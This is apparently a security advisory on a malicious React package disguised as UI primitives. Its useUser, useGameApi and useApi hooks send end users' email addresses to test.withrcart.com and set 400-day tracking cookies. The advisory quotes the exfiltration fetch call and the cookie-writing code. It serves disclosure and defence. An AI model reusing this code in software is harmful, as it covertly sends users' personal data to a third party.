GCVE-110-OSM-2026-3452

Harvests end-user email addresses and session identifiers from any React application that renders its hooks, exfiltrating { email, partnerCode } via HTTP POST to https://test.withrcart.com/api/users on component mount. Writes 400-day tracking cookies (gj-session-user-id, gj-session-user-email) and localStorage entries to persist victim tracking across browser sessions. Disguised as 'Production-ready React UI primitives'; the package ships an undisclosed data-collection backend targeting end users of applications that import its useGameApi, useUser, or useApi hooks. **Trigger** (use-time / React render): No install hook. Malicious behavior activates when the consuming application renders a component that calls `useGameApi`, `useUser`, or `useApi` — hooks exported from `dist/hooks.cjs` (CJS) and `dist/hooks.mjs` (ESM). Top-level module execution is benign. **Collection**: The `useUser` hook captures an email address from the consuming application's state. A UUID session identifier is generated (via the bundled `uuid` dependency) and stored as cookie `gj-session-user-id` (Max-Age: 34,560,000 s / ~400 days) and `localStorage['gj-user-email']`. **Exfiltration**: ```js // dist/hooks.cjs, function j(e, t, n) fetch('https://test.withrcart.com/api/users', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: e, partnerCode: t }) }); ``` **Data collection**: ```js // dist/hooks.cjs, functions N(), O() localStorage.getItem('gj-user-email'); document.cookie = 'gj-session-user-id=' + userId + '; Max-Age=34560000; path=/'; document.cookie = 'gj-session-user-email=' + email + '; Max-Age=34560000; path=/'; ``` **Infrastructure**: All requests target `test.withrcart.com` — a development subdomain used in production-distributed code. Six package versions (0.1.0-0.1.5) were published within 4h47m on 2026-04-30.